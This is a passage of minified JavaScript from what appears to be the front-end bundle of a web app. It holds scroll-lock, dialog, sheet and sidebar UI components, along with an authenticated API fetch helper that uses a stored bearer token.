e===&quot;h&quot;&amp;&amp;t===&quot;rtl&quot;?-1:1},Yce=function(e,t,r,n,i){var s=Kce(e,window.getComputedStyle(t).direction),o=s*n,l=r.target,c=t.contains(l),d=!1,u=o&gt;0,h=0,p=0;do{if(!l)break;var A=mM(e,l),y=A[0],v=A[1],w=A[2],j=v-w-s*y;(y||j)&amp;&amp;hM(e,l)&amp;&amp;(h+=j,p+=y);var E=l.parentNode;l=E&amp;&amp;E.nodeType===Node.DOCUMENT_FRAGMENT_NODE?E.host:E}while(!c&amp;&amp;l!==document.body||c&amp;&amp;(t.contains(l)||t===l));return(u&amp;&amp;Math.abs(h)&lt;1||!u&amp;&amp;Math.abs(p)&lt;1)&amp;&amp;(d=!0),d},W2=function(e){return&quot;changedTouches&quot;in e?[e.changedTouches[0].clientX,e.changedTouches[0].clientY]:[0,0]},u7=function(e){return[e.deltaX,e.deltaY]},d7=function(e){return e&amp;&amp;&quot;current&quot;in e?e.current:e},Zce=function(e,t){return e[0]===t[0]&amp;&amp;e[1]===t[1]},Jce=function(e){return`
  .block-interactivity-`.concat(e,` {pointer-events: none;}
  .allow-interactivity-`).concat(e,` {pointer-events: all;}
`)},Xce=0,bA=[];function eue(e){var t=I.useRef([]),r=I.useRef([0,0]),n=I.useRef(),i=I.useState(Xce++)[0],s=I.useState(dM)[0],o=I.useRef(e);I.useEffect(function(){o.current=e},[e]),I.useEffect(function(){if(e.inert){document.body.classList.add(&quot;block-interactivity-&quot;.concat(i));var v=bce([e.lockRef.current],(e.shards||[]).map(d7),!0).filter(Boolean);return v.forEach(function(w){return w.classList.add(&quot;allow-interactivity-&quot;.concat(i))}),function(){document.body.classList.remove(&quot;block-interactivity-&quot;.concat(i)),v.forEach(function(w){return w.classList.remove(&quot;allow-interactivity-&quot;.concat(i))})}}},[e.inert,e.lockRef.current,e.shards]);var l=I.useCallback(function(v,w){if(&quot;touches&quot;in v&amp;&amp;v.touches.length===2||v.type===&quot;wheel&quot;&amp;&amp;v.ctrlKey)return!o.current.allowPinchZoom;var j=W2(v),E=r.current,S=&quot;deltaX&quot;in v?v.deltaX:E[0]-j[0],_=&quot;deltaY&quot;in v?v.deltaY:E[1]-j[1],C,Q=v.target,R=Math.abs(S)&gt;Math.abs(_)?&quot;h&quot;:&quot;v&quot;;if(&quot;touches&quot;in v&amp;&amp;R===&quot;h&quot;&amp;&amp;Q.type===&quot;range&quot;)return!1;var T=window.getSelection(),M=T&amp;&amp;T.anchorNode,O=M?M===Q||M.contains(Q):!1;if(O)return!1;var $=c7(R,Q);if(!$)return!0;if($?C=R:(C=R===&quot;v&quot;?&quot;h&quot;:&quot;v&quot;,$=c7(R,Q)),!$)return!1;if(!n.current&amp;&amp;&quot;changedTouches&quot;in v&amp;&amp;(S||_)&amp;&amp;(n.current=C),!C)return!0;var P=n.current||C;return Yce(P,w,v,P===&quot;h&quot;?S:_)},[]),c=I.useCallback(function(v){var w=v;if(!(!bA.length||bA[bA.length-1]!==s)){var j=&quot;deltaY&quot;in w?u7(w):W2(w),E=t.current.filter(function(C){return C.name===w.type&amp;&amp;(C.target===w.target||w.target===C.shadowParent)&amp;&amp;Zce(C.delta,j)})[0];if(E&amp;&amp;E.should){w.cancelable&amp;&amp;w.preventDefault();return}if(!E){var S=(o.current.shards||[]).map(d7).filter(Boolean).filter(function(C){return C.contains(w.target)}),_=S.length&gt;0?l(w,S[0]):!o.current.noIsolation;_&amp;&amp;w.cancelable&amp;&amp;w.preventDefault()}}},[]),d=I.useCallback(function(v,w,j,E){var S={name:v,delta:w,target:j,should:E,shadowParent:tue(j)};t.current.push(S),setTimeout(function(){t.current=t.current.filter(function(_){return _!==S})},1)},[]),u=I.useCallback(function(v){r.current=W2(v),n.current=void 0},[]),h=I.useCallback(function(v){d(v.type,u7(v),v.target,l(v,e.lockRef.current))},[]),p=I.useCallback(function(v){d(v.type,W2(v),v.target,l(v,e.lockRef.current))},[]);I.useEffect(function(){return bA.push(s),e.setCallbacks({onScrollCapture:h,onWheelCapture:h,onTouchMoveCapture:p}),document.addEventListener(&quot;wheel&quot;,c,yA),document.addEventListener(&quot;touchmove&quot;,c,yA),document.addEventListener(&quot;touchstart&quot;,u,yA),function(){bA=bA.filter(function(v){return v!==s}),document.removeEventListener(&quot;wheel&quot;,c,yA),document.removeEventListener(&quot;touchmove&quot;,c,yA),document.removeEventListener(&quot;touchstart&quot;,u,yA)}},[]);var A=e.removeScrollBar,y=e.inert;return I.createElement(I.Fragment,null,y?I.createElement(s,{styles:Jce(i)}):null,A?I.createElement($ce,{noRelative:e.noRelative,gapMode:e.gapMode}):null)}function tue(e){for(var t=null;e!==null;)e instanceof ShadowRoot&amp;&amp;(t=e.host,e=e.host),e=e.parentNode;return t}const rue=kce(uM,eue);var N4=I.forwardRef(function(e,t){return I.createElement(j4,Sd({},e,{ref:t,sideCar:rue}))});N4.classNames=j4.classNames;var nue=function(e){if(typeof document&gt;&quot;u&quot;)return null;var t=Array.isArray(e)?e[0]:e;return t.ownerDocument.body},wA=new WeakMap,K2=new WeakMap,Y2={},CI=0,pM=function(e){return e&amp;&amp;(e.host||pM(e.parentNode))},iue=function(e,t){return t.map(function(r){if(e.contains(r))return r;var n=pM(r);return n&amp;&amp;e.contains(n)?n:(console.error(&quot;aria-hidden&quot;,r,&quot;in not contained inside&quot;,e,&quot;. Doing nothing&quot;),null)}).filter(function(r){return!!r})},aue=function(e,t,r,n){var i=iue(t,Array.isArray(e)?e:[e]);Y2[r]||(Y2[r]=new WeakMap);var s=Y2[r],o=[],l=new Set,c=new Set(i),d=function(h){!h||l.has(h)||(l.add(h),d(h.parentNode))};i.forEach(d);var u=function(h){!h||c.has(h)||Array.prototype.forEach.call(h.children,function(p){if(l.has(p))u(p);else try{var A=p.getAttribute(n),y=A!==null&amp;&amp;A!==&quot;false&quot;,v=(wA.get(p)||0)+1,w=(s.get(p)||0)+1;wA.set(p,v),s.set(p,w),o.push(p),v===1&amp;&amp;y&amp;&amp;K2.set(p,!0),w===1&amp;&amp;p.setAttribute(r,&quot;true&quot;),y||p.setAttribute(n,&quot;true&quot;)}catch(j){console.error(&quot;aria-hidden: cannot operate on &quot;,p,j)}})};return u(t),l.clear(),CI++,function(){o.forEach(function(h){var p=wA.get(h)-1,A=s.get(h)-1;wA.set(h,p),s.set(h,A),p||(K2.has(h)||h.removeAttribute(n),K2.delete(h)),A||h.removeAttribute(r)}),CI--,CI||(wA=new WeakMap,wA=new WeakMap,K2=new WeakMap,Y2={})}},sS=function(e,t,r){r===void 0&amp;&amp;(r=&quot;data-aria-hidden&quot;);var n=Array.from(Array.isArray(e)?e:[e]),i=nue(e);return i?(n.push.apply(n,Array.from(i.querySelectorAll(&quot;[aria-live], script&quot;))),aue(n,i,r,&quot;aria-hidden&quot;)):function(){return null}};function sue(e){const t=oue(e),r=I.forwardRef((n,i)=&gt;{const{children:s,...o}=n,l=I.Children.toArray(s),c=l.find(cue);if(c){const d=c.props.children,u=l.map(h=&gt;h===c?I.Children.count(d)&gt;1?I.Children.only(null):I.isValidElement(d)?d.props.children:null:h);return a.jsx(t,{...o,ref:i,children:I.isValidElement(d)?I.cloneElement(d,void 0,u):null})}return a.jsx(t,{...o,ref:i,children:s})});return r.displayName=`${e}.Slot`,r}function oue(e){const t=I.forwardRef((r,n)=&gt;{const{children:i,...s}=r;if(I.isValidElement(i)){const o=due(i),l=uue(s,i.props);return i.type!==I.Fragment&amp;&amp;(l.ref=n?rh(n,o):o),I.cloneElement(i,l)}return I.Children.count(i)&gt;1?I.Children.only(null):null});return t.displayName=`${e}.SlotClone`,t}var lue=Symbol(&quot;radix.slottable&quot;);function cue(e){return I.isValidElement(e)&amp;&amp;typeof e.type==&quot;function&quot;&amp;&amp;&quot;__radixId&quot;in e.type&amp;&amp;e.type.__radixId===lue}function uue(e,t){const r={...t};for(const n in t){const i=e[n],s=t[n];/^on[A-Z]/.test(n)?i&amp;&amp;s?r[n]=(...l)=&gt;{const c=s(...l);return i(...l),c}:i&amp;&amp;(r[n]=i):n===&quot;style&quot;?r[n]={...i,...s}:n===&quot;className&quot;&amp;&amp;(r[n]=[i,s].filter(Boolean).join(&quot; &quot;))}return{...e,...r}}function due(e){let t=Object.getOwnPropertyDescriptor(e.props,&quot;ref&quot;)?.get,r=t&amp;&amp;&quot;isReactWarning&quot;in t&amp;&amp;t.isReactWarning;return r?e.ref:(t=Object.getOwnPropertyDescriptor(e,&quot;ref&quot;)?.get,r=t&amp;&amp;&quot;isReactWarning&quot;in t&amp;&amp;t.isReactWarning,r?e.props.ref:e.props.ref||e.ref)}var S4=&quot;Dialog&quot;,[gM,AM]=Sc(S4),[fue,W0]=gM(S4),xM=e=&gt;{const{__scopeDialog:t,children:r,open:n,defaultOpen:i,onOpenChange:s,modal:o=!0}=e,l=I.useRef(null),c=I.useRef(null),[d,u]=a0({prop:n,defaultProp:i??!1,onChange:s,caller:S4});return a.jsx(fue,{scope:t,triggerRef:l,contentRef:c,contentId:su(),titleId:su(),descriptionId:su(),open:d,onOpenChange:u,onOpenToggle:I.useCallback(()=&gt;u(h=&gt;!h),[u]),modal:o,children:r})};xM.displayName=S4;var vM=&quot;DialogTrigger&quot;,yM=I.forwardRef((e,t)=&gt;{const{__scopeDialog:r,...n}=e,i=W0(vM,r),s=ri(t,i.triggerRef);return a.jsx(an.button,{type:&quot;button&quot;,&quot;aria-haspopup&quot;:&quot;dialog&quot;,&quot;aria-expanded&quot;:i.open,&quot;aria-controls&quot;:i.contentId,&quot;data-state&quot;:cS(i.open),...n,ref:s,onClick:yr(e.onClick,i.onOpenToggle)})});yM.displayName=vM;var oS=&quot;DialogPortal&quot;,[hue,bM]=gM(oS,{forceMount:void 0}),wM=e=&gt;{const{__scopeDialog:t,forceMount:r,children:n,container:i}=e,s=W0(oS,t);return a.jsx(hue,{scope:t,forceMount:r,children:I.Children.map(n,o=&gt;a.jsx(hu,{present:r||s.open,children:a.jsx(Yv,{asChild:!0,container:i,children:o})}))})};wM.displayName=oS;var sw=&quot;DialogOverlay&quot;,EM=I.forwardRef((e,t)=&gt;{const r=bM(sw,e.__scopeDialog),{forceMount:n=r.forceMount,...i}=e,s=W0(sw,e.__scopeDialog);return s.modal?a.jsx(hu,{present:n||s.open,children:a.jsx(pue,{...i,ref:t})}):null});EM.displayName=sw;var mue=sue(&quot;DialogOverlay.RemoveScroll&quot;),pue=I.forwardRef((e,t)=&gt;{const{__scopeDialog:r,...n}=e,i=W0(sw,r);return a.jsx(N4,{as:mue,allowPinchZoom:!0,shards:[i.contentRef],children:a.jsx(an.div,{&quot;data-state&quot;:cS(i.open),...n,ref:t,style:{pointerEvents:&quot;auto&quot;,...n.style}})})}),Ag=&quot;DialogContent&quot;,CM=I.forwardRef((e,t)=&gt;{const r=bM(Ag,e.__scopeDialog),{forceMount:n=r.forceMount,...i}=e,s=W0(Ag,e.__scopeDialog);return a.jsx(hu,{present:n||s.open,children:s.modal?a.jsx(gue,{...i,ref:t}):a.jsx(Aue,{...i,ref:t})})});CM.displayName=Ag;var gue=I.forwardRef((e,t)=&gt;{const r=W0(Ag,e.__scopeDialog),n=I.useRef(null),i=ri(t,r.contentRef,n);return I.useEffect(()=&gt;{const s=n.current;if(s)return sS(s)},[]),a.jsx(IM,{...e,ref:i,trapFocus:r.open,disableOutsidePointerEvents:!0,onCloseAutoFocus:yr(e.onCloseAutoFocus,s=&gt;{s.preventDefault(),r.triggerRef.current?.focus()}),onPointerDownOutside:yr(e.onPointerDownOutside,s=&gt;{const o=s.detail.originalEvent,l=o.button===0&amp;&amp;o.ctrlKey===!0;(o.button===2||l)&amp;&amp;s.preventDefault()}),onFocusOutside:yr(e.onFocusOutside,s=&gt;s.preventDefault())})}),Aue=I.forwardRef((e,t)=&gt;{const r=W0(Ag,e.__scopeDialog),n=I.useRef(!1),i=I.useRef(!1);return a.jsx(IM,{...e,ref:t,trapFocus:!1,disableOutsidePointerEvents:!1,onCloseAutoFocus:s=&gt;{e.onCloseAutoFocus?.(s),s.defaultPrevented||(n.current||r.triggerRef.current?.focus(),s.preventDefault()),n.current=!1,i.current=!1},onInteractOutside:s=&gt;{e.onInteractOutside?.(s),s.defaultPrevented||(n.current=!0,s.detail.originalEvent.type===&quot;pointerdown&quot;&amp;&amp;(i.current=!0));const o=s.target;r.triggerRef.current?.contains(o)&amp;&amp;s.preventDefault(),s.detail.originalEvent.type===&quot;focusin&quot;&amp;&amp;i.current&amp;&amp;s.preventDefault()}})}),IM=I.forwardRef((e,t)=&gt;{const{__scopeDialog:r,trapFocus:n,onOpenAutoFocus:i,onCloseAutoFocus:s,...o}=e,l=W0(Ag,r),c=I.useRef(null),d=ri(t,c);return aS(),a.jsxs(a.Fragment,{children:[a.jsx(I4,{asChild:!0,loop:!0,trapped:n,onMountAutoFocus:i,onUnmountAutoFocus:s,children:a.jsx(M1,{role:&quot;dialog&quot;,id:l.contentId,&quot;aria-describedby&quot;:l.descriptionId,&quot;aria-labelledby&quot;:l.titleId,&quot;data-state&quot;:cS(l.open),...o,ref:d,onDismiss:()=&gt;l.onOpenChange(!1)})}),a.jsxs(a.Fragment,{children:[a.jsx(vue,{titleId:l.titleId}),a.jsx(bue,{contentRef:c,descriptionId:l.descriptionId})]})]})}),lS=&quot;DialogTitle&quot;,jM=I.forwardRef((e,t)=&gt;{const{__scopeDialog:r,...n}=e,i=W0(lS,r);return a.jsx(an.h2,{id:i.titleId,...n,ref:t})});jM.displayName=lS;var NM=&quot;DialogDescription&quot;,SM=I.forwardRef((e,t)=&gt;{const{__scopeDialog:r,...n}=e,i=W0(NM,r);return a.jsx(an.p,{id:i.descriptionId,...n,ref:t})});SM.displayName=NM;var BM=&quot;DialogClose&quot;,kM=I.forwardRef((e,t)=&gt;{const{__scopeDialog:r,...n}=e,i=W0(BM,r);return a.jsx(an.button,{type:&quot;button&quot;,...n,ref:t,onClick:yr(e.onClick,()=&gt;i.onOpenChange(!1))})});kM.displayName=BM;function cS(e){return e?&quot;open&quot;:&quot;closed&quot;}var _M=&quot;DialogTitleWarning&quot;,[xue,DM]=iae(_M,{contentName:Ag,titleName:lS,docsSlug:&quot;dialog&quot;}),vue=({titleId:e})=&gt;{const t=DM(_M),r=`\`${t.contentName}\` requires a \`${t.titleName}\` for the component to be accessible for screen reader users.

If you want to hide the \`${t.titleName}\`, you can wrap it with our VisuallyHidden component.

For more information, see https://radix-ui.com/primitives/docs/components/${t.docsSlug}`;return I.useEffect(()=&gt;{e&amp;&amp;(document.getElementById(e)||console.error(r))},[r,e]),null},yue=&quot;DialogDescriptionWarning&quot;,bue=({contentRef:e,descriptionId:t})=&gt;{const n=`Warning: Missing \`Description\` or \`aria-describedby={undefined}\` for {${DM(yue).contentName}}.`;return I.useEffect(()=&gt;{const i=e.current?.getAttribute(&quot;aria-describedby&quot;);t&amp;&amp;i&amp;&amp;(document.getElementById(t)||console.warn(n))},[n,e,t]),null},uS=xM,TM=yM,dS=wM,oy=EM,ly=CM,cy=jM,uy=SM,B4=kM;const wue=uS,Eue=dS,RM=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(oy,{className:nr(&quot;fixed inset-0 z-50 bg-black/80  data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0&quot;,e),...t,ref:r}));RM.displayName=oy.displayName;const Cue=Dg(&quot;fixed z-50 gap-4 bg-background p-6 shadow-lg transition ease-in-out data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:duration-300 data-[state=open]:duration-500&quot;,{variants:{side:{top:&quot;inset-x-0 top-0 border-b data-[state=closed]:slide-out-to-top data-[state=open]:slide-in-from-top&quot;,bottom:&quot;inset-x-0 bottom-0 border-t data-[state=closed]:slide-out-to-bottom data-[state=open]:slide-in-from-bottom&quot;,left:&quot;inset-y-0 left-0 h-full w-3/4 border-r data-[state=closed]:slide-out-to-left data-[state=open]:slide-in-from-left sm:max-w-sm&quot;,right:&quot;inset-y-0 right-0 h-full w-3/4  border-l data-[state=closed]:slide-out-to-right data-[state=open]:slide-in-from-right sm:max-w-sm&quot;}},defaultVariants:{side:&quot;right&quot;}}),PM=I.forwardRef(({side:e=&quot;right&quot;,className:t,children:r,...n},i)=&gt;a.jsxs(Eue,{children:[a.jsx(RM,{}),a.jsxs(ly,{ref:i,className:nr(Cue({side:e}),t),...n,children:[r,a.jsxs(B4,{className:&quot;absolute right-4 top-4 rounded-sm opacity-70 ring-offset-background transition-opacity hover:opacity-100 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 disabled:pointer-events-none data-[state=open]:bg-secondary&quot;,children:[a.jsx(Nn,{className:&quot;h-4 w-4&quot;}),a.jsx(&quot;span&quot;,{className:&quot;sr-only&quot;,children:&quot;Close&quot;})]})]})]}));PM.displayName=ly.displayName;const QM=({className:e,...t})=&gt;a.jsx(&quot;div&quot;,{className:nr(&quot;flex flex-col space-y-2 text-center sm:text-left&quot;,e),...t});QM.displayName=&quot;SheetHeader&quot;;const FM=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(cy,{ref:r,className:nr(&quot;text-lg font-semibold text-foreground&quot;,e),...t}));FM.displayName=cy.displayName;const OM=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(uy,{ref:r,className:nr(&quot;text-sm text-muted-foreground&quot;,e),...t}));OM.displayName=uy.displayName;const Iue=&quot;sidebar_state&quot;,jue=3600*24*7,Nue=&quot;16rem&quot;,Sue=&quot;18rem&quot;,Bue=&quot;3rem&quot;,kue=&quot;b&quot;,LM=I.createContext(null);function fS(){const e=I.useContext(LM);if(!e)throw new Error(&quot;useSidebar must be used within a SidebarProvider.&quot;);return e}function _ue({defaultOpen:e=!0,open:t,onOpenChange:r,className:n,style:i,children:s,...o}){const l=lce(),[c,d]=I.useState(!1),[u,h]=I.useState(e),p=t??u,A=I.useCallback(j=&gt;{const E=typeof j==&quot;function&quot;?j(p):j;r?r(E):h(E),document.cookie=`${Iue}=${E}; path=/; max-age=${jue}`},[r,p]),y=I.useCallback(()=&gt;l?d(j=&gt;!j):A(j=&gt;!j),[l,A,d]);I.useEffect(()=&gt;{const j=E=&gt;{E.key===kue&amp;&amp;(E.metaKey||E.ctrlKey)&amp;&amp;(E.preventDefault(),y())};return window.addEventListener(&quot;keydown&quot;,j),()=&gt;window.removeEventListener(&quot;keydown&quot;,j)},[y]);const v=p?&quot;expanded&quot;:&quot;collapsed&quot;,w=I.useMemo(()=&gt;({state:v,open:p,setOpen:A,isMobile:l,openMobile:c,setOpenMobile:d,toggleSidebar:y}),[v,p,A,l,c,d,y]);return a.jsx(LM.Provider,{value:w,children:a.jsx(vm,{delayDuration:0,children:a.jsx(&quot;div&quot;,{&quot;data-slot&quot;:&quot;sidebar-wrapper&quot;,style:{&quot;--sidebar-width&quot;:Nue,&quot;--sidebar-width-icon&quot;:Bue,...i},className:nr(&quot;group/sidebar-wrapper has-data-[variant=inset]:bg-sidebar flex min-h-svh w-full&quot;,n),...o,children:s})})})}function Due({side:e=&quot;left&quot;,variant:t=&quot;sidebar&quot;,collapsible:r=&quot;offcanvas&quot;,className:n,children:i,...s}){const{isMobile:o,state:l,openMobile:c,setOpenMobile:d}=fS();return r===&quot;none&quot;?a.jsx(&quot;div&quot;,{&quot;data-slot&quot;:&quot;sidebar&quot;,className:nr(&quot;bg-sidebar text-sidebar-foreground flex h-full w-[var(--sidebar-width)] flex-col&quot;,n),...s,children:i}):o?a.jsx(wue,{open:c,onOpenChange:d,...s,children:a.jsxs(PM,{&quot;data-sidebar&quot;:&quot;sidebar&quot;,&quot;data-slot&quot;:&quot;sidebar&quot;,&quot;data-mobile&quot;:&quot;true&quot;,className:&quot;bg-sidebar text-sidebar-foreground w-[var(--sidebar-width)] p-0 [&amp;&gt;button]:hidden&quot;,style:{&quot;--sidebar-width&quot;:Sue},side:e,children:[a.jsxs(QM,{className:&quot;sr-only&quot;,children:[a.jsx(FM,{children:&quot;Sidebar&quot;}),a.jsx(OM,{children:&quot;Displays the mobile sidebar.&quot;})]}),a.jsx(&quot;div&quot;,{className:&quot;flex h-full w-full flex-col&quot;,children:i})]})}):a.jsxs(&quot;div&quot;,{className:&quot;group peer text-sidebar-foreground hidden md:block&quot;,&quot;data-state&quot;:l,&quot;data-collapsible&quot;:l===&quot;collapsed&quot;?r:&quot;&quot;,&quot;data-variant&quot;:t,&quot;data-side&quot;:e,&quot;data-slot&quot;:&quot;sidebar&quot;,children:[a.jsx(&quot;div&quot;,{&quot;data-slot&quot;:&quot;sidebar-gap&quot;,className:nr(&quot;relative w-[var(--sidebar-width)] bg-transparent transition-[width] duration-200 ease-linear&quot;,&quot;group-data-[collapsible=offcanvas]:w-0&quot;,&quot;group-data-[side=right]:rotate-180&quot;,t===&quot;floating&quot;||t===&quot;inset&quot;?&quot;group-data-[collapsible=icon]:w-[calc(var(--sidebar-width-icon)+var(--spacing-4))]&quot;:&quot;group-data-[collapsible=icon]:w-[var(--sidebar-width-icon)]&quot;)}),a.jsx(&quot;div&quot;,{&quot;data-slot&quot;:&quot;sidebar-container&quot;,className:nr(&quot;fixed inset-y-0 z-10 hidden h-svh w-[var(--sidebar-width)] transition-[left,right,width] duration-200 ease-linear md:flex&quot;,e===&quot;left&quot;?&quot;left-0 group-data-[collapsible=offcanvas]:left-[calc(var(--sidebar-width)*-1)]&quot;:&quot;right-0 group-data-[collapsible=offcanvas]:right-[calc(var(--sidebar-width)*-1)]&quot;,t===&quot;floating&quot;||t===&quot;inset&quot;?&quot;p-2 group-data-[collapsible=icon]:w-[calc(var(--sidebar-width-icon)+var(--spacing-4)+2px)]&quot;:&quot;group-data-[collapsible=icon]:w-[var(--sidebar-width-icon)] group-data-[side=left]:border-r group-data-[side=right]:border-l&quot;,n),...s,children:a.jsx(&quot;div&quot;,{&quot;data-sidebar&quot;:&quot;sidebar&quot;,&quot;data-slot&quot;:&quot;sidebar-inner&quot;,className:&quot;bg-sidebar group-data-[variant=floating]:border-sidebar-border flex h-full w-full flex-col group-data-[variant=floating]:rounded-lg group-data-[variant=floating]:border group-data-[variant=floating]:shadow-sm&quot;,children:i})})]})}function Tue({className:e,onClick:t,...r}){const{toggleSidebar:n}=fS();return a.jsxs(ge,{&quot;data-sidebar&quot;:&quot;trigger&quot;,&quot;data-slot&quot;:&quot;sidebar-trigger&quot;,variant:&quot;ghost&quot;,size:&quot;icon&quot;,className:nr(&quot;h-7 w-7&quot;,e),onClick:i=&gt;{t?.(i),n()},...r,children:[a.jsx(Ese,{}),a.jsx(&quot;span&quot;,{className:&quot;sr-only&quot;,children:&quot;Toggle Sidebar&quot;})]})}function Rue({className:e,...t}){return a.jsx(&quot;div&quot;,{&quot;data-slot&quot;:&quot;sidebar-header&quot;,&quot;data-sidebar&quot;:&quot;header&quot;,className:nr(&quot;flex flex-col gap-2 p-2&quot;,e),...t})}function Pue({className:e,...t}){return a.jsx(&quot;div&quot;,{&quot;data-slot&quot;:&quot;sidebar-footer&quot;,&quot;data-sidebar&quot;:&quot;footer&quot;,className:nr(&quot;flex flex-col gap-2 p-2&quot;,e),...t})}function Que({className:e,...t}){return a.jsx(&quot;div&quot;,{&quot;data-slot&quot;:&quot;sidebar-content&quot;,&quot;data-sidebar&quot;:&quot;content&quot;,className:nr(&quot;flex min-h-0 flex-1 flex-col gap-2 overflow-auto group-data-[collapsible=icon]:overflow-hidden&quot;,e),...t})}function Fue({className:e,...t}){return a.jsx(&quot;div&quot;,{&quot;data-slot&quot;:&quot;sidebar-group&quot;,&quot;data-sidebar&quot;:&quot;group&quot;,className:nr(&quot;relative flex w-full min-w-0 flex-col p-2&quot;,e),...t})}function Oue({className:e,asChild:t=!1,...r}){const n=t?nS:&quot;div&quot;;return a.jsx(n,{&quot;data-slot&quot;:&quot;sidebar-group-label&quot;,&quot;data-sidebar&quot;:&quot;group-label&quot;,className:nr(&quot;text-sidebar-foreground/70 ring-sidebar-ring flex h-8 shrink-0 items-center rounded-md px-2 text-xs font-medium outline-hidden transition-[margin,opacity] duration-200 ease-linear focus-visible:ring-2 [&amp;&gt;svg]:h-4 [&amp;&gt;svg]:w-4 [&amp;&gt;svg]:shrink-0&quot;,&quot;group-data-[collapsible=icon]:-mt-8 group-data-[collapsible=icon]:opacity-0&quot;,e),...r})}function Lue({className:e,...t}){return a.jsx(&quot;div&quot;,{&quot;data-slot&quot;:&quot;sidebar-group-content&quot;,&quot;data-sidebar&quot;:&quot;group-content&quot;,className:nr(&quot;w-full text-sm&quot;,e),...t})}function Mue({className:e,...t}){return a.jsx(&quot;ul&quot;,{&quot;data-slot&quot;:&quot;sidebar-menu&quot;,&quot;data-sidebar&quot;:&quot;menu&quot;,className:nr(&quot;flex w-full min-w-0 flex-col gap-1&quot;,e),...t})}function Uue({className:e,...t}){return a.jsx(&quot;li&quot;,{&quot;data-slot&quot;:&quot;sidebar-menu-item&quot;,&quot;data-sidebar&quot;:&quot;menu-item&quot;,className:nr(&quot;group/menu-item relative&quot;,e),...t})}const zue=Dg(&quot;peer/menu-button flex w-full items-center gap-2 overflow-hidden rounded-md p-2 text-left text-sm outline-hidden ring-sidebar-ring transition-[width,height,padding] hover:bg-sidebar-accent hover:text-sidebar-accent-foreground focus-visible:ring-2 active:bg-sidebar-accent active:text-sidebar-accent-foreground disabled:pointer-events-none disabled:opacity-50 group-has-data-[sidebar=menu-action]/menu-item:pr-8 aria-disabled:pointer-events-none aria-disabled:opacity-50 data-[active=true]:bg-sidebar-accent data-[active=true]:font-medium data-[active=true]:text-sidebar-accent-foreground data-[state=open]:hover:bg-sidebar-accent data-[state=open]:hover:text-sidebar-accent-foreground group-data-[collapsible=icon]:w-8! group-data-[collapsible=icon]:h-8! group-data-[collapsible=icon]:p-2! [&amp;&gt;span:last-child]:truncate [&amp;&gt;svg]:size-4 [&amp;&gt;svg]:shrink-0&quot;,{variants:{variant:{default:&quot;hover:bg-sidebar-accent hover:text-sidebar-accent-foreground&quot;,outline:&quot;bg-background shadow-[0_0_0_1px_hsl(var(--sidebar-border))] hover:bg-sidebar-accent hover:text-sidebar-accent-foreground hover:shadow-[0_0_0_1px_hsl(var(--sidebar-accent))]&quot;},size:{default:&quot;h-8 text-sm&quot;,sm:&quot;h-7 text-xs&quot;,lg:&quot;h-12 text-sm group-data-[collapsible=icon]:p-0!&quot;}},defaultVariants:{variant:&quot;default&quot;,size:&quot;default&quot;}});function $ue({asChild:e=!1,isActive:t=!1,variant:r=&quot;default&quot;,size:n=&quot;default&quot;,tooltip:i,className:s,...o}){const l=e?nS:&quot;button&quot;,{isMobile:c,state:d}=fS(),u=a.jsx(l,{&quot;data-slot&quot;:&quot;sidebar-menu-button&quot;,&quot;data-sidebar&quot;:&quot;menu-button&quot;,&quot;data-size&quot;:n,&quot;data-active&quot;:t,className:nr(zue({variant:r,size:n}),s),...o});return i?(typeof i==&quot;string&quot;&amp;&amp;(i={children:i}),a.jsxs(iy,{children:[a.jsx(ay,{asChild:!0,children:u}),a.jsx(V1,{side:&quot;right&quot;,align:&quot;center&quot;,hidden:d!==&quot;collapsed&quot;||c,...i})]})):u}function Vd(){return localStorage.getItem(&quot;parcapp_token&quot;)}function Hue(e){localStorage.setItem(&quot;parcapp_token&quot;,e)}function f7(){localStorage.removeItem(&quot;parcapp_token&quot;)}async function sN(e,t={}){const r=Vd(),n=e.startsWith(&quot;http&quot;)?e:$s(e),i={Accept:&quot;application/json&quot;,...t.headers||{}};r&amp;&amp;(i.Authorization=`Bearer ${r}`);let s=t.body;const o=typeof FormData&lt;&quot;u&quot;&amp;&amp;s instanceof FormData;s!=null&amp;&amp;!o&amp;&amp;typeof s==&quot;object&quot;&amp;&amp;(s=JSON.stringify(s)),s!=null&amp;&amp;!o&amp;&amp;(Object.keys(i).some(p=&gt;p.toLowerCase()===&quot;content-type&quot;)||(i[&quot;Content-Type&quot;]=&quot;application/json&quot;));const l=await fetch(n,{...t,headers:i,body:s,redirect:&quot;manual&quot;,credentials:&quot;include&quot;});if(l.status===204)return;const c=l.headers.get(&quot;content-type&quot;)||&quot;&quot;,d=await l.text();let u=null;if(d)if(c.includes(&quot;application/json&quot;))try{u=JSON.parse(d)}catch{throw{status:l.status,message:&quot;La réponse n&#039;est pas du JSON valide.&quot;}}else u=d;if(!l.ok){const h=u&amp;&amp;u.message||u&amp;&amp;u.error||u&amp;&amp;u.errors&amp;&amp;Object.values(u.errors)[0]?.[0]||l.statusText||&quot;Erreur API&quot;;throw{status:l.status,message:h}}return u}function ih(){const e=Vd(),{data:t,isLoading:r}=cr({queryKey:[&quot;auth&quot;,&quot;me&quot;],queryFn:async()=&gt;{if(!e)return null;if(typeof navigator&lt;&quot;u&quot;&amp;&amp;!navigator.onLine)return console.warn(&quot;[User] Offline: skipping /api/me call&quot;),null;try{return await sN(&quot;/api/me&quot;)}catch(n){const i=n;if(i.status===401||i.status===403)return null;if(typeof navigator&lt;&quot;u&quot;&amp;&amp;!navigator.onLine)return console.warn(&quot;[User] Network error while offline: returning null&quot;),null;throw n}},enabled:typeof navigator&lt;&quot;u&quot;&amp;&amp;navigator.onLine&amp;&amp;!!e,staleTime:300*1e3,retry:!1});return{data:t||null,isLoading:r}}const que=&quot;modulepreload&quot;,Gue=function(e){return&quot;/&quot;+e},h7={},On=function(t,r,n){let i=Promise.resolve();if(r&amp;&amp;r.length&gt;0){let c=function(d){return Promise.all(d.map(u=&gt;Promise.resolve(u).then(h=&gt;({status:&quot;fulfilled&quot;,value:h}),h=&gt;({status:&quot;rejected&quot;,reason:h}))))};document.getElementsByTagName(&quot;link&quot;);const 